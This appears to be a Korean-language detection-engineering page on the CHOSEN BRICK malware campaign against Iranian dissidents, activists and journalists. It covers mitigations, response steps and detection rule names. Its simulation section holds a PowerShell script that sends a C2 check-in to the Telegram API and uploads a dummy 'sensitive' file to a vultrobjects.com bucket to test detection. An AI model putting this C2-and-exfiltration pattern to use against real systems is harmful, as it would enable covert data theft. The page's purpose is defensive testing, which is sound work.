이란의 조선자, 활동가 및 기자들에 대한 사이버 표적화
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이란 정부 지원 행위자들이 CHOSEN BRICK 악성 코드를 사용하여 전세계 반체제 인사, 활동가, 언론인을 표적으로 삼고 있습니다. 악성 코드는 WhatsApp 및 Telegram과 같은 플랫폼에서 소셜 엔지니어링을 통해 전달되며, 종종 합법적인 애플리케이션이나 파일로 가장합니다. 설치되면, CHOSEN BRICK은 데이터 도난, 마이크 녹음, Telegram 기반의 명령 및 제어를 통한 시스템 삭제를 지원합니다.
조사
조사에서는 Windows 시스템에서 소셜 엔지니어링 후 CHOSEN BRICK이 배포되는 반복적인 패턴이 확인되었습니다. 분석가들은 악성 코드가 C2 통신을 위해 Telegram 봇을 사용하고 데이터 유출을 위해 클라우드 저장소 서비스를 활용하는 것을 관찰했습니다. 특정 레지스트리 Run 키를 통해 지속성이 설정되며, Microsoft Defender 예외 항목이 추가되어 보안 통제를 회피합니다.
완화 조치
권장 완화 조치에는 소셜 엔지니어링 기법에 대한 사용자 인식 향상과 예기치 않은 첨부 파일을 통한 소프트웨어 사용을 피하는 것이 포함됩니다. 조직은 또한 피싱 저항 MFA를 시행하고, 애플리케이션 화이트리스트를 구현하며, 안티바이러스 소프트웨어를 최신 상태로 유지해야 합니다. Telegram 및 알려진 클라우드 저장 서비스에 대한 의심스러운 연결을 모니터링하면 탐지를 더욱 강화할 수 있습니다.
대응
CHOSEN BRICK 활동이 감지되면, 조직은 IT 제공업체와 협력하여 해당 레지스트리 키 및 파일 경로에 대한 엔드포인트 로그를 검토해야 합니다. 고위험 개인이 사용하는 기업 및 개인 기기를 조사해야 합니다. 보안 팀은 또한 캠페인과 관련된 도메인, 파일명 및 기타 기술적 지표를 찾는 사냥 작업을 수행해야 합니다.
공격 흐름
이 부분은 아직 업데이트 중입니다.
탐지
가능한 지속성 지점 [ASEPs – 소프트웨어/NTUSER 하이브] (레지스트리 이벤트 통해)
가능한 Telegram 남용으로 명령 및 제어 채널 (dns_query 통해)
CHOSEN BRICK의 Telegram 및 VultrObjects를 사용한 악성 통신 [Windows 네트워크 연결]
레지스트리 Run 키를 통한 CHOSEN BRICK 지속성 탐지 [Windows 레지스트리 이벤트]
시뮬레이션 실행
-
공격 내러티브 및 명령: 적은 명령 및 제어(C2)를 설정하고 민감한 데이터를 유출하려고 합니다. 전통적인 서명 기반 안티바이러스를 회피하기 위해 합법적인 웹 서비스를 사용합니다. 첫째, 공격자는 Telegram API를 통해 C2 서버에 “체크인”하는 명령을 실행합니다(
api.telegram.org). 그 후, 공격자는 민감 파일을 업로드하여vultrobjects.com에 있는 저장소 버킷에 유출을 시뮬레이션합니다. 이러한 작업은 합법적인 암호화된 웹 트래픽과 혼합되며, 특정 IoC가 알려진 경우에만 탐지되길 바라며 검사 우회를 목표로 합니다. -
회귀 테스트 스크립트:
# 시뮬레이션 스크립트: CHOSEN BRICK TTP 에뮬레이션 # 이 스크립트는 Telegram을 통한 C2 및 VultrObjects를 통한 유출을 시뮬레이션합니다 $C2_Domain = "api.telegram.org" $Exfil_Domain = "vultrobjects.com" Write-Host "[+] 시뮬레이션 시작: CHOSEN BRICK TTP 에뮬레이션 중..." -ForegroundColor Cyan # 1. C2 체크인 시뮬레이션 (Telegram API) Write-Host "[*] 단계 1: $C2_Domain으로 C2 체크인 시뮬레이션 중" -ForegroundColor Yellow try { $c2_response = Invoke-WebRequest -Uri "https://$C2_Domain/bot123456:ABC-DEF/getUpdates" -Method Get -ErrorAction SilentlyContinue Write-Host "[+] C2 요청이 전송되었습니다." -ForegroundColor Green } catch { Write-Host "[!] 참고: 연결 실패 (인터넷/프록시 없음 예상), 그러나 텔레메트리는 여전히 생성되어야 합니다." -ForegroundColor Gray } # 2. 데이터 유출 시뮬레이션 (VultrObjects) Write-Host "[*] 단계 2: $Exfil_Domain으로의 데이터 유출 시뮬레이션 중" -ForegroundColor Yellow $dummy_data = "이것은 유출 중인 매우 민감한 정보입니다." $dummy_file = "$env:TEMPsensitive_data.txt" $dummy_data | Out-File -FilePath $dummy_file try { # 클라우드 저장소 엔드포인트로의 PUT 요청을 시뮬레이션 Invoke-RestMethod -Uri "https://$Exfil_Domain/exfil/data_dump.txt" -Method Put -Body $dummy_data -ContentType "text/plain" -ErrorAction SilentlyContinue Write-Host "[+] 유출 요청이 전송되었습니다." -ForegroundColor Green } catch { Write-Host "[!] 참고: 연결 실패 (인터넷/프록시 없음 예상), 그러나 텔레메트리는 여전히 생성되어야 합니다." -ForegroundColor Gray } Write-Host "[+] 시뮬레이션 완료. $C2_Domain 및 $Exfil_Domain과 관련된 프록시 로그에서 SIEM 확인." -ForegroundColor Cyan -
정리 명령:
# 정리 스크립트 $dummy_file = "$env:TEMPsensitive_data.txt" if (Test-Path $dummy_file) { Remove-Item -Path $dummy_file -Force Write-Host "[+] 정리: 가짜 유출 파일을 제거했습니다." -ForegroundColor Green } else { Write-Host "[!] 정리: 가짜 파일을 찾을 수 없습니다." -ForegroundColor Yellow }